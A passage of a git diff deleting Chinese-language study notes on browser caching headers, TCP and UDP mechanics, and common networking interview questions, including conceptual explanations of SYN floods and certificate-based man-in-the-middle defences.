阶段存在的缓存,当以上三种缓存都没有命中时,它才会被使用,优先级最低,但是是一种趋势。同时,其缓存时间也很短,只针在统一会话(Session)中存在,一旦会话结束就被释放。其具有以下特点: - -- 所有的资源都能被推送,可以推送 `no-cache` 和 `no-store` 的资源 -- 时间较短,在Chrome浏览器中只有5分钟左右,同时它也并非严格执行HTTP头中的缓存指令,连接一旦被关闭,就会被释放 -- 多页面可以使用相同的HTTP/2连接,也就是可以使用同一个Push Cache。这主要还是依赖浏览器的实现而定,出于对性能的考虑,有的浏览器会对相同域名但不同的tab标签使用同一个HTTP连接。 -- Push Cache 中的缓存只能被使用一次 -- 浏览器可以拒绝接受已经存在的资源推送 -- 你可以给其他域名推送资源 - diff --git "a/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/\346\265\217\350\247\210\345\231\250\347\274\223\345\255\230\346\234\272\345\210\266-\350\257\267\346\261\202\345\244\264.md" "b/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/\346\265\217\350\247\210\345\231\250\347\274\223\345\255\230\346\234\272\345\210\266-\350\257\267\346\261\202\345\244\264.md" deleted file mode 100644 index 85b2596f..00000000 --- "a/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/\346\265\217\350\247\210\345\231\250\347\274\223\345\255\230\346\234\272\345\210\266-\350\257\267\346\261\202\345\244\264.md" +++ /dev/null @@ -1,114 +0,0 @@ ---- -date: 2022-08-12 -tag: -- 计算机网络 ---- - -# 浏览器缓存机制-请求头 - -### 相关头部字段 - -强缓存: - -- Expires -- Cache-Control - -协商缓存: - -- Etag、If-None-Match -- Last-Modified、If-Modified-Since - -> 1. Cach-Control优先级高于Expires; -> 2. Etag/If-Node-Match优先级高于Last-Modified/If-Modified-Since - -## 强缓存 - -使用强缓存策略时,如果缓存资源有效,则直接使用缓存资源,不再向服务器发起请求。强缓存策略可以通过两种方式来设置,分别是 HTTP 头信息中的 Expires 属性和 Cache-Control 属性。 - -Expires 是 HTTP 1.0 中的方式,因为它的一些缺点,在 HTTP 1.1 中提出了一个新的头部属性就是 Cache-Control 属性,Cache-Control 通用消息头字段,通过指定指令来实现缓存机制。缓存指令是单向的,这意味着在请求中设置的指令,不一定被包含在响应中。 - -当Expires和Cache-Control的 "max-age" 或者 "s-max-age" 指令同时存在时,会无视Expires,只遵循Cache-Control的指令内容。 - -### Cache-Control - -**缓存请求指令** - -客户端可以在 HTTP 请求中使用的标准 Cache-Control 指令。 - -``` -Cache-Control: max-age= -Cache-Control: max-stale[=] -Cache-Control: min-fresh= -Cache-control: no-cache -Cache-control: no-store -Cache-control: no-transform -Cache-control: only-if-cached -``` - -**缓存响应指令** - -服务器可以在响应中使用的标准 Cache-Control 指令。 - -``` -Cache-control: must-revalidate -Cache-control: no-cache -Cache-control: no-store -Cache-control: no-transform -Cache-control: public -Cache-control: private -Cache-control: proxy-revalidate -Cache-Control: max-age= -Cache-control: s-maxage= -``` - -此外,还有扩展Cache-Control指令,拓展缓存指令不是核心 HTTP 缓存标准文档的一部分,使用前请注意检查兼容性。 - -### 常用指令内容 - -不包括实验性指令内容 - -**可缓存控制** - -| 名称 | 效果 | -| ---------- | ------------------------------------------------------------ | -| `public` | 表明响应可以被任何对象(包括:发送请求的客户端,代理服务器,等等)缓存,即使是通常不可缓存的内容(甚至是Post)。 | -| `private` | 表明响应只能被单个用户缓存,不能作为共享缓存(即代理服务器不能缓存它)。 | -| `no-cache` | 强制要求缓存把请求提交给原始服务器进行验证 (协商缓存验证)。 | -| `no-store` | 不使用任何缓存 | - -**缓存时长控制** - -| 名称 | 效果 | -| -------------------- | ------------------------------------------------------------ | -| `max-age=` | 设置缓存存储的最大周期,超过这个时间缓存被认为过期 (单位秒)。与`Expires`相反,时间是相对于请求的时间。 | -| `s-maxage=` | 覆盖`max-age`或者`Expires`头,但是仅适用于共享缓存 (比如各个代理),私有缓存会忽略它。 | - -更多见[Cache-Control MDN](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Cache-Control) - -### Expires - -Expires 响应头包含日期/时间, 即在此时候之后,响应过期。如果在Cache-Control响应头设置了 "max-age" 或者 "s-max-age" 指令,那么 Expires 头会被忽略。 - -```json -Expires: Wed, 21 Oct 2015 07:28:00 GMT -``` - -**与Cache-Control对比可知:** - -响应报文中expires的时间值,是一个绝对值(时间点) - -响应报文中Cache-Control为max-age=\,是相对值(时间差) - -## 协商缓存 - -如果资源已过期,则表明强制缓存没有被命中,则开始协商缓存,向服务器发送带有 If-None-Match 或/和 If-Modified-Since 的请求,均为条件式请求首部。 - -If-Modified-Since是客户端再次发起该请求时,携带上次请求返回的Last-Modified值,通过此字段值告诉服务器该资源上次请求返回的最后被修改时间。 - -If-None-Match是客户端再次发起该请求时,携带上次请求返回的唯一标识Etag值,通过此字段值告诉服务器该资源上次请求返回的唯一标识值。 - -服务器收到请求后,会优先根据 Etag 的值(If-None-Match的字段值与该资源在服务器的Etag值做对比)判断被请求的文件有没有做修改,Etag 值一致则认为没有修改,命中协商缓存,返回 304 状态码;如果不一致则有改动,直接返回新的资源文件带上新的 Etag 值并返回 200; - -> ETag 属性之间的比较采用的是弱比较算法,即两个文件除了每个字节都相同外,内容一致也可以认为是相同的。例如,如果两个页面仅仅在页脚的生成时间有所不同,就可以认为二者是相同的。 - -如果服务器收到的请求没有 Etag 值,则将 If-Modified-Since 和被请求文件的最后修改时间做比对,一致则命中协商缓存,返回 304;不一致则返回新的 last-modified 和文件并返回 200; diff --git "a/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/\351\235\242\350\257\225\351\242\230/TCP\345\272\224\347\237\245\345\272\224\344\274\232\357\274\210\344\270\212\357\274\211.md" "b/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/\351\235\242\350\257\225\351\242\230/TCP\345\272\224\347\237\245\345\272\224\344\274\232\357\274\210\344\270\212\357\274\211.md" deleted file mode 100644 index 5e0f48c9..00000000 --- "a/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/\351\235\242\350\257\225\351\242\230/TCP\345\272\224\347\237\245\345\272\224\344\274\232\357\274\210\344\270\212\357\274\211.md" +++ /dev/null @@ -1,61 +0,0 @@ ---- -date: 2022-07-31 -category: -- Network ---- - -# TCP应知应会(上) - -TCP是在不可靠的IP层之上实现的可靠的数据传输协议,它主要解决的是传输的可靠、有序、无丢失和不重复的问题。 - -## 协议特点 - -- TCP是面向连接的传输层协议 -- 每条TCP连接只能由两个端点,每条TCP连接只能是点对点的(一对一) -- TCP提供可靠的交付业务,保证传送数据的无差错,不丢失、不重复而且有序 - -- 全双工通信,TCP连接的两端都设有发送缓存和接收缓存,用于临时存放双向通信的数据 -- TCP面向字节流(对比UDP面向报文) - -## TCP报文段 - -TCP传送的数据单元称为报文段,TCP报文段用于运载数据、建立连接、释放连接和应答。 - -### 字段 - -直接上图: - -![image-20220731210136537](https://cdn.yihuiblog.top/images/202207312101330.png) - -**常考的有:** - -- 源端口和谜底端口字段 - -- 确认位ACK:ACK=1时确认号字段才有效,为0确认号无效。TCP规定,在连接后的所有传送的报文段都需要吧ack设置为1 -- 同步位SYN:为1表示这是一个连接请求或者连接接收的报文 -- 终止位FIN:释放连接,为1表示此报文段的发送方的数据已经发送完毕,并要求释放传传输接 -- 窗口字段:表示允许对方发送的数据量,单位为**字节** - -## TCP连接管理 - -TCP连接的管理就是使得连接的建立和释放都能够正常进行。连接分为三个阶段:连接建立、数据传送、连接释放。 - -TCP连接建立的时候所需要面对(解决)的问题: - -- 每一方都要知道对方的存在 -- 要允许双方协商一些参数(例如窗口大小、是否扩大窗口、时间戳选项和服务质量等) -- 能够对传输实体的资源(例如缓存大小、连接表中的项目等)进行分配 - -### 建立连接(三次握手) - -1. 客户机先向服务器发送连接请求报文段【SYN = 1,seq = x】 -2. 服务器接收后,同意建立连接并回付,同时为该TCP连接分配TCP缓存和变量【SYN = 1, ACK = 1,ack = x+1,seq = y】 -3. 当客户机确认之后,还需要给服务器进行确认,并且也要为该TCP连接分配TCP缓存和变量【ACK = 1,seq = x+1,ack = y+1】 - -### 连接释放(四次握手) - -1. 客户机向其TCP发送一个连接释放报文的,并停止发送数据,主动关闭TCP连接【FIN = 1,seq = u】 -2. 服务器收到连接释放报文后立即做出确认【ACK = 1,seq = v,ack = u+1】 -3. 服务器通知客户端TCP释放连接【FIN = 1,ACK = 1,seq = w,ack = u+1】 -4. 客户机收到连接释放报文之后,发出确认,此时进入等待时间【ACK = 1,seq = u+1,ack = w+1】 - diff --git "a/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/\351\235\242\350\257\225\351\242\230/TCP\345\272\224\347\237\245\345\272\224\344\274\232\357\274\210\344\270\213\357\274\211.md" "b/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/\351\235\242\350\257\225\351\242\230/TCP\345\272\224\347\237\245\345\272\224\344\274\232\357\274\210\344\270\213\357\274\211.md" deleted file mode 100644 index 26ff3dc8..00000000 --- "a/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/\351\235\242\350\257\225\351\242\230/TCP\345\272\224\347\237\245\345\272\224\344\274\232\357\274\210\344\270\213\357\274\211.md" +++ /dev/null @@ -1,54 +0,0 @@ ---- -date: 2022-08-02 -category: -- Network ---- -# TCP应知应会(下) - -## 拥塞控制 - -> TCP 通过维护一个拥塞窗口来进行拥塞控制,拥塞控制的原则是,只要网络中没有出现拥塞,拥塞窗口的值就可以再增大一些,以便把更多的数据包发送出去,但只要网络出现拥塞,拥塞窗口的值就应该减小一些,以减少注入到网络中的数据包数。 拥塞控制算法的核心是选择一个有效的策略来控制拥塞窗口的变化。 - -**目的:**防止过多的数据注入网络,保证网络中的路由器或链路不至过载(相较于流量控制,这更多是一个全局概念) - -### 拥塞控制和流量控制的对比 - -**相同点:**都通过控制发送方发送数据的速率来达到控制效果 - -**不同点:** - -拥塞控制是让网络能够承受现有的网络负荷,是一个全局性的过程,涉及所有的主机、路由器,以及与降低网络传输性能有关的所有因素。 - -流量控制是点对点的通信量的控制,即接收端控制发送端,它所需要做的是一直发送端发送数据的速率,以便使接收端来得及接收 - -### 实现机制 - -维护两个窗口,即接收窗口 rwnd 和拥塞窗口 cwnd,发送窗口的上限取min[rwnd,cwnd] - -![image-20220803092655767](https://cdn.yihuiblog.top/images/202208030926869.png) - -#### 慢开始 - -每经过一个传输轮次(即往返时间RTT),拥塞窗口cwnd就会加倍。一开始令拥塞窗口 cwnd = 1(即一个最大报文段长度MSS),每收到一个最新的报文段确认后,将cwnd++。 - -满开始使得分组注入网络的速率更加合理,慢开始一直吧拥塞窗口 cwnd 增大到一个规定的慢开始门限(ssthresh 阈值),然后开始使用拥塞避免算法。 - -#### 拥塞避免 - -发送端每经过一个 RTT 就增加一个MSS的大小,而不是加倍。cwnd呈现线性缓慢增长(即加法增大),当出现一次网络超时(网络拥塞)是,令开始门限ssthresh等于当前cwnd的一半(乘法减小)。 - -#### 快重传 - -即网络超时(网络拥塞)的判断和反应机制。 - -当发送方连续接收三个重复的ACK报文时,执行乘法减小的对发送发开始门限ssthresh缩减为发送发cwnd的一半。 - -#### 快恢复 - -把cwnd设置为新的慢开始门限ssthresh的数值,开始执行拥塞避免算法,缓缓线性增大。 - -### 网络拥塞处理 - -发送发检测到超时事件的发生(未按时收到确认,重传计时器超时),就要 - -对慢开始门限进行调整,但不会小于2,然后把拥塞窗口 cwnd 重新设置为此值开始执行慢开始算法。 diff --git "a/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/\351\235\242\350\257\225\351\242\230/TCP\345\272\224\347\237\245\345\272\224\344\274\232\357\274\210\344\270\255\357\274\211.md" "b/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/\351\235\242\350\257\225\351\242\230/TCP\345\272\224\347\237\245\345\272\224\344\274\232\357\274\210\344\270\255\357\274\211.md" deleted file mode 100644 index d68179ee..00000000 --- "a/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/\351\235\242\350\257\225\351\242\230/TCP\345\272\224\347\237\245\345\272\224\344\274\232\357\274\210\344\270\255\357\274\211.md" +++ /dev/null @@ -1,48 +0,0 @@ ---- -date: 2022-07-31 -category: -- Network ---- - -# TCP应知应会(中) - -## SYN 洪泛攻击 - -攻击者发送TCP的SYN,SYN是TCP三次握手中的第一个数据包,而当服务器返回ACK后,该攻击者就不对其进行再确认,那这个TCP连接就处于挂起状态,也就是所谓的半连接状态,服务器收不到再确认的话,还会重复发送ACK给攻击者。 - -**影响:** - -- 浪费消耗服务器的资源; - -- 在服务器上,这些TCP连接会因为挂起状态而消耗CPU和内存,最后服务器可能死机。 - -## TCP可靠传输的实现机制 - -**序号:** TCP首部的序号字段来保证数据能够有序的交给应用层,序号建立在传送的字节流上 - -**确认机制:**TCP首部的确认号是期望收到对方的下一个报文段的数据的第一个字节的序号,TCP默认使用累计确认,即TCP只确认数据流中至第一个丢失字节为止的字节。 - -**重传机制:**分为超时重传和冗余ACK。 - -超时重传,TCP每发送一个报文段,就对这个报文段设置一次计时器。计时器设置的重传时间到期但还未收到确认时就进行重传。 - -冗余ACK,再次确认某个报文段的ACK,而发送方先前已经收到过该报文的确认,当收到对于某个报文段3个冗余ACK,则可以认为该报文已经丢失,这时候发送方对该报文进行重传。 - -## TCP流量控制 - -**目的:**匹配发送发的发送速率和接收方的读取速率 - -**流量控制机制:**基于滑动窗口协议的流量控制机制。 - -**实现方法:**接收方根据自己接收缓存的大小,动态地调整发送方的发送窗口大小(接收窗口rwnd),限制发送发向网络注入的报文速率;发送方根据对当前网络拥塞程序的估计而确定拥塞窗口,其大小与网络的带宽和时延有关 - -### 不同层级流量控制和窗口大小的区别 - -**传输层:**定义端到端用户之间的流量控制,滑动窗口可以动态变化 - -**数据链路层:**定义两个中间的相邻结点的流量控制,滑动窗口不能动态变化 - - - - - diff --git "a/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/\351\235\242\350\257\225\351\242\230/UDP\345\272\224\347\237\245\345\272\224\344\274\232.md" "b/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/\351\235\242\350\257\225\351\242\230/UDP\345\272\224\347\237\245\345\272\224\344\274\232.md" deleted file mode 100644 index 9afe37e1..00000000 --- "a/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/\351\235\242\350\257\225\351\242\230/UDP\345\272\224\347\237\245\345\272\224\344\274\232.md" +++ /dev/null @@ -1,50 +0,0 @@ ---- -date: 2022-07-31 -category: -- Network ---- - -# UDP应知应会 - -文章仅作为给位考试、面试复习内容使用,不适合零基础学习UDP知识。 - -## UDP数据报 🤔 - -UDP实现了传输协议能够做的最少的工作,在IP的数据报服务上增加了两个最基本的服务:复用和分用以及差错控制。 - -### UPD优点 - -- UDP无需建立连接,不会有建立连接的时延 -- 无连接状态,UDP不维护连接状态,应用服务器使用UDP时,能够支持更多的活动客户机 -- 首部开销小 - -### 应用场景特点 - -UDP常用于一次性传输较少数据的网络应用,例如DNS,SNMP等等。UDP提供最大努力的交付,即不可靠交付,所有的维护传输可靠性的工作都需要应用层来完成。UPD是面向报文的,保温是UDP的最小处理单位。 - -### UDP首部 - -UDP首部非常短,仅携带以下四条信息 - -- 源端口号:发送方端口号,需要对方回信时使用,不需要可以全用0, - -- 目的端口号:终点交付报文时必须使用 - -- 长度:UDP数据报长度(包括首部和数据),最小值8 - -- 检验和:检测UDP用户数据包在传输中是否有错,有错就会直接丢弃。该字段是可选的,当源主机不想计算校验和时,则直接令该字段为0 - -### 收到数据报之后的处理 - -根据首部中的目的端口,讲UDP数据报通过相应的端口上交给应用进程。如果接收方UDP发现接收的报文中的目的端口号不正确,会丢弃该报文,并由ICMP发送”端口不可达“的差错报文给发送方。 - -## UDP数据校验 🔍 - -UDP本身检错能力不强,但是简单,数据处理快(要么丢弃要么上报给上层,并附带错误报告),而且仅检查首部和数据部分。 - -其中要注意的是,校验时,对不满偶数个字节的数据部分,会进行补全一个全为0的字节。对错误的报文,要么丢弃,要么附带上错误报告交给上层处理(检错而不是纠错)。 - -其可以通过伪首部,检查源端口、目的端口号和UDP数据报的数据部分,还可以检查IP数据报的源IP地址和目的地址。 - - - diff --git "a/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/\351\235\242\350\257\225\351\242\230/\350\256\241\347\275\221\345\270\270\350\200\203\351\235\242\350\257\225\351\242\230.md" "b/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/\351\235\242\350\257\225\351\242\230/\350\256\241\347\275\221\345\270\270\350\200\203\351\235\242\350\257\225\351\242\230.md" deleted file mode 100644 index f6d81be8..00000000 --- "a/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/\351\235\242\350\257\225\351\242\230/\350\256\241\347\275\221\345\270\270\350\200\203\351\235\242\350\257\225\351\242\230.md" +++ /dev/null @@ -1,338 +0,0 @@ ---- -date: 2022-03-31 -icon: page -category: -- 面试题 -- 前端 ---- - -# 计网常考面试题 - -## 1、为什么TCP连接的时候是3次?2次不可以吗? - -### 考虑丢包问题(保证全双工) - -1. 因为需要考虑连接时丢包的问题,如果只握手2次,第二次握手时如果服务端发给客户端的确认报文段丢失,此时服务端已经准备好了收发数(可以理解服务端已经连接成功)据,而客户端一直没收到服务端的确认报文,所以客户端就不知道服务端是否已经准备好了(可以理解为客户端未连接成功),这种情况下客户端不会给服务端发数据,也会忽略服务端发过来的数据。 -2. 如果是三次握手,即便发生丢包也不会有问题,比如如果第三次握手客户端发的确认ack报文丢失,服务端在一段时间内没有收到确认ack报文的话就会重新进行第二次握手,也就是服务端会重发SYN报文段,客户端收到重发的报文段后会再次给服务端发送确认ack报文。 - -### 保证序列号双方确认 - -1. 为了实现可靠数据传输, **TCP 协议的通信双方, 都必须维护一个序列号, 以标识发送出去的数据包中, 哪些是已经被对方收到的。 三次握手的过程即是通信双方相互告知序列号起始值, 并确认对方已经收到了序列号起始值的必经步骤** -2. 如果只是两次握手, 至多只有连接发起方的起始序列号能被确认, 另一方选择的序列号则得不到确认 - -## 2、为什么TCP连接的时候是3次,关闭的时候却是4次? - -因为只有在客户端和服务端都没有数据要发送的时候才能断开TCP。**而客户端发出FIN报文时只能保证客户端没有数据发了,服务端还有没有数据发客户端是不知道的**。而服务端收到客户端的FIN报文后只能先回复客户端一个确认报文来告诉客户端我服务端已经收到你的FIN报文了,但我**服务端还有一些数据没发完,等这些数据发完了**服务端才能给客户端发FIN报文(所以不能一次性将确认报文和FIN报文发给客户端,就是这里多出来了一次)。 - -## 3、为什么客户端发出第四次挥手的确认报文后要等2MSL的时间才能释放TCP连接? - -这里同样是要考虑丢包的问题,**如果第四次挥手的报文丢失,服务端没收到确认ack报文就会重发第三次挥手的报文,这样报文一去一回最长时间就是2MSL**,所以需要等这么长时间来确认服务端确实已经收到了。 - -## 4、如果已经建立了连接,但是客户端突然出现故障了怎么办? - -TCP设有一个**保活计时器,客户端如果出现故障,服务器不能一直等下去,白白浪费资源。服务器每收到一次客户端的请求后都会重新复位这个计时器,时间通常是设置为2小时**,若两小时还没有收到客户端的任何数据,服务器就会**发送一个探测报文段,以后每隔75秒钟发送一次。若一连发送10个探测报文仍然没反应,服务器就认为客户端出了故障,接着就关闭连接。** - -## 5、time wait过多会出现什么问题 - -> time-wait开始的时间为tcp四次挥手中主动关闭连接方发送完最后一次挥手,也就是ACK=1的信号结束后,主动关闭连接方所处的状态。 -> -> image-20220331203539095 - -对于网站来说,这样的time_wait略显偏高, 也就是说大量的关闭操作在等待2个MSL后结束,正常我们的tcp 端口是65535个,如果并发再高一些,可能会**大量的socket不能及时被释放,从而导致性能下降**, - -在**高并发短连接**的TCP服务器上,当服务器处理完请求后立刻主动正常关闭连接。这个场景下会出现大量socket处于TIME_WAIT状态。**如果客户端的并发量持续很高,此时部分客户端就会显示连接不上。** - -所以我们**可以通过linux内核进行一些网络调整比如,开启socket重用和快速回收** - -## 6、CLOSE_WAIT 过多会出现什么问题? - -**CLOSE_WAIT 过多导致服务器资源占用**,客户端在 FIN_WAIT_2 状态超时大约 60s,自动进入 CLOSED状态, 影响不大。但是**服务端在 CLOSE_WAIT 的超时时间默认为 43200秒,所以大量的 CLOSE_WAIT 积压可能造成服务器无法分配出资源给新的连接。\**一般这种情况都是\**由于服务器没有调用 close 造成的。程序员应该主动检查代码。** - -## 7、什么是HTTP、HTTPS? - -1. HTTP 是一个在计算机世界里专门在两点之间传输文字、图片、音频、视频等超文本数据的约定和规范 - -- **端口** :HTTP的URL由“http://”起始且默认使用端口**80**,而HTTPS的URL由“https://”起始且默认使用端口**443。** -- **安全性和资源消耗:**HTTP协议运行在TCP之上,所有传输的内容都是明文,客户端和服务器端都无法验证对方的身份。 - -1. **HTTPS中的S表示SSL或者TLS,就是在原HTTP的基础上加上一层用于数据加密、解密、身份认证的安全层**。HTTPS是运行在SSL/TLS之上的HTTP协议,SSL/TLS 运行在TCP之上。**所有传输的内容都经过加密,加密采用对称加密,但对称加密的密钥用服务器方的证书进行了非对称加密**。所以说,HTTP 安全性没有 HTTPS高,但是 HTTPS 比HTTP耗费更多服务器资源。 - -- **对称加密:密钥只有一个,加密解密为同一个密码**,且加解密速度快,典型的对称加密算法有DES、AES等; -- 非对称加密: 加密和解密使用不同的密钥,这两个密钥形成有且仅有唯一的配对,叫公钥和私钥。**数据用公钥加密后必须用私钥解密,数据用私钥加密后必须用公钥解密**,相对对称加密速度较慢,典型的非对称加密算法有RSA、DSA等。 - -## 8、HTTP 与 HTTPS 的区别? - -- **https协议需要到ca申请证书,一般免费证书很少,需要交费。** -- **http是超文本传输协议,信息是明文传输,https 则是具有安全性的ssl加密传输协议。** -- **http和https使用的是完全不同的连接方式用的端口也不一样,前者是80,后者是443。** -- **http的连接很简单,是无状态的 。** -- **HTTPS协议是由SSL+HTTP协议构建的可进行加密传输、身份认证的网络协议, 要比http协议安全。** - -## 9、GET和POST区别? - -浏览器和服务器的交互是通过HTTP协议执行的,HTTP全称为Hyper Text Transfer Protocol,中文翻译为超文本传输协议,目的是保证浏览器与服务器之间的通信。而GET和POST也是HTTP协议中的两种方法。 - -- **GET:从服务器上获取数据,也就是所谓的查,仅仅是获取服务器资源,不进行修改。** -- **POST:向服务器提交数据,这就涉及到了数据的更新,也就是更改服务器的数据。** - -### 区别 - -- **get 方法一般用于请求,**比如你在浏览器地址栏输入 `www.cxuanblog.com` 其实就是发送了一个 get 请求,它的主要特征是请求服务器返回资源,而 **post 方法一般用于```表单`的提交,相当于是把信息提交给服务器,等待服务器作出响应**,get 相当于一个是 pull/拉的操作,而 post 相当于是一个 push/推的操作。 -- **get 方法是不安全的**,因为你在发送请求的过程中,你的请求参数会拼在 URL 后面,从而导致容易被攻击者窃取,对你的信息造成破坏和伪造;而 **post 方法是把参数放在请求体 body 中的,这对用户来说不可见。** -- **get 请求的 URL 有长度限制,**这个限制是**浏览器或者服务器给添加的,http协议并没有对url长度进行限制,目的是为了保证服务器和浏览器能够正常运行,防止有人恶意发送请求。**而 post 请求会把参数和值放在消息体中,对数据长度没有要求。 -- get 请求会被浏览器主动 cache,而 post 不会,除非手动设置。 - -- **get 请求在发送过程中会产生一个 TCP 数据包;post 在发送过程中会产生两个 TCP 数据包**。对于 get 方式的请求,浏览器会把 http header 和 data 一并发送出去,服务器响应 200(返回数据);而对于 post,**浏览器先发送 header,服务器响应 100 continue,浏览器再发送 data,服务器响应 200 ok**(返回数据)。 - -## 10、浏览器关闭后,session还可以用吗 - -**当我们重新打开浏览器窗口时,之前的Cookie中存放的Sessionid已经不存在了,此时** - -**服务器从HttpServletRequest对象中没有检查到sessionid,服务器会再发送一个新的存** - -**有Sessionid的Cookie到客户端的浏览器中,此时对应的是一个新的会话,而服务器上** - -**原先的session等到它的默认时间到之后,便会自动销毁。** - - - -当在同一个浏览器中同时打开多个标签,发送同一个请求或不同的请求,仍是同一个session; - -当不在同一个窗口中打开相同的浏览器时,发送请求,仍是同一个session; - -当使用不同的浏览器时,发送请求,即使发送相同的请求,是不同的session; - -## 11、如果客户端禁止 cookie 能实现 session 还能用吗? - -Cookie 与 Session,一般认为是两个独立的东西,Session采用的是在服务器端保持状态的方案,而Cookie采用的是在客户端保持状态的方案。 - -但为什么禁用Cookie就不能得到Session呢?**因为Session是用Session ID来确定当前对话所对应的服务器Session,而Session ID是通过Cookie来传递的,禁用Cookie相当于失去了Session ID,也就得不到Session了。** - -假定用户关闭Cookie的情况下使用Session,其实现途径有以下几种: - -- **最常用的就是利用 URL 重写把 Session ID 直接附加在URL路径的后面。** -- 用文件、数据库等形式保存Session ID,在跨页过程中手动调用 - -## 12、介绍下了解的通信协议? - -FTP 文件传输协议(File Transfer Protocol) - -SMTP:邮件传送协议, - -ARP 协议是正向地址解析协议(Address Resolution Protocol),通过已知的 IP,寻找对应主机的 MAC 地址 - -RARP 协议是返向地址解析协议(逆地址解析),通过 MAC 地址确定 IP地址 - -## 13、什么是ARP/RARP协议? - -**地址解析协议,即ARP(Address Resolution Protocol),是根据IP地址获取物理地址的一个TCP/IP协议。**主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。 - -**逆地址解析协议,即RARP,功能和ARP协议相对,其将局域网中某个主机的物理地址转换为IP地址**,比如局域网中有一台主机只知道物理地址而不知道IP地址,那么可以通过RARP协议发出征求自身IP地址的广播请求,然后由RARP服务器负责回答。 - -## 14、地址栏输入 URL 发生了什么 - -> 常考面试题,回答注意两点,1是注意回答的条理性,2是注意回答内容尽量详细,展现知识的宽度和深度 - -- 首先,你需要在浏览器中的 URL 地址上,输入你想访问的地址,比如www.baidu.com - -- 然后,浏览器会根据你输入的 URL 地址,**去查找域名是否被本地 DNS 缓存**,**不同浏览器对 DNS 的设置不同,如果浏览器缓存了你想访问的 URL 地址,那就直接返回 ip。如果没有缓存你的 URL 地址,浏览器就会发起系统调用来查询本机 `hosts` 文件是否有配置 ip 地址,如果找到,直接返回。如果找不到,就向网络中发起一个 DNS 查询。在由根域名服务器 -> 顶级域名服务器 -> 权威 DNS 服务器后,由权威服务器告诉本地服务器目标 IP 地址,再有本地 DNS 服务器告诉用户需要访问的 IP 地址。** - -- > DNS是域名系统(DomainNameSystem)的缩写,该系统用于命名组织到域层次结构中的计算机和网络服务,**可以简单地理解为将URL转换为IP地址**。 - -- 第三步,浏览器需要和目标服务器建立 TCP 连接,需要经过三次握手的过程,TCP/IP 分为四层,在发送数据时,每层都要对数据进行封装: - - - **1. 应用层:发送 HTTP 请求** - - 在前面的步骤我们已经得到服务器的 IP 地址,浏览器会开始构造一个 HTTP 报文,其中包括: - - 请求报头(Request Header):请求方法、目标地址、遵循的协议等等 - - 请求主体(其他参数) - - \2. 传输层:TCP 传输报文 - - 传输层会发起一条到达服务器的 TCP 连接**,为了方便传输,会对数据进行分割(以报文段为单位),并标记编号,方便服务器接受时能够准确地还原报文信息。** - - \3. 网络层:IP协议查询Mac地址 - - 将数据段打包,并加入源及目标的IP地址,并且负责寻找传输路线。 - - 判断目标地址是否与当前地址处于同一网络中,是的话直接根据 Mac 地址发送,否则使用路由表查找下一跳地址,以及使用 ARP 协议查询它的 Mac 地址。 - - **4. 链路层:以太网协议** - -- 在建立连接后,浏览器会向目标服务器发起 `HTTP-GET` 请求,包括其中的 URL,**HTTP 1.1 后默认使用长连接,只需要一次握手即可多次传输数据。** - -- 如果目标服务器只是一个简单的页面,就会直接返回。但是对于某些大型网站的站点,往往不会直接返回主机名所在的页面,而会直接重定向。返回的状态码就不是 200 ,而是 301,302 以 3 开头的重定向码,**浏览器在获取了重定向响应后,在响应报文中 Location 项找到重定向地址,浏览器重新第一步访问即可**。 - -- 然后浏览器重新发送请求,携带新的 URL,返回状态码 200 OK,表示服务器可以响应请求,返回报文。 - -- **渲染页面** - -## 15、中间人有可能篡改该证书吗? - -假设中间人篡改了证书的原文,由于他没有CA机构的私钥,所以无法得到此时加密后签名,无法相应地篡改签名。**浏览器收到该证书后会发现原文和签名解密后的值不一致,则说明证书已被篡改,证书不可信**,从而终止向服务器传输信息,防止信息泄露给中间人。 - -## 16、中间人有可能把证书掉包吗? - -1. 假设有另一个网站B也拿到了CA机构认证的证书,它想搞垮网站A,想劫持网站A的信息。于是它成为中间人拦截到了A传给浏览器的证书,然后替换成自己的证书,传给浏览器,之后浏览器就会错误地拿到B的证书里的公钥了,会导致上文提到的漏洞。 -2. 其实这并不会发生,**因为证书里包含了网站A的信息,包括域名,浏览器把证书里的域名与自己请求的域名比对一下就知道有没有被掉包了**。 - -## 17、为什么制作数字签名时需要hash一次? - -> 我初学HTTPS的时候就有这个问题,似乎以上过程中hash有点多余,把hash过程去掉也能保证证书没有被篡改。 - -最显然的是性能问题,前面我们已经说了非对称加密效率较差,证书信息一般较长,比较耗时。而hash后得到的是固定长度的信息(比如用md5算法hash后可以得到固定的128位的值),这样加密解密就会快很多。 - -## 18、http协议实现了什么? - -1. 客户与服务器建立连接tcp -2. 客户向服务器提出请求 -3. 服务器接受请求,并根据请求返回相应的文件作为应答 -4. 客户与服务器关闭连接。 - -## 19、什么是无状态协议,HTTP 是无状态协议吗,怎么解决? - -1. 无状态协议(Stateless Protocol) 就是指**浏览器对于事务的处理没有记忆能力**。举个例子来说就是比如客户请求获得网页之后关闭浏览器,然后再次启动浏览器,登录该网站,**但是服务器并不知道客户关闭了一次浏览器。** -2. **HTTP 就是一种无状态的协议,他对用户的操作没有记忆能力**。可能大多数用户不相信,他可能觉得每次输入用户名和密码登陆一个网站后,下次登陆就不再重新输入用户名和密码了。这其实不是 HTTP 做的事情,起作用的是一个叫做 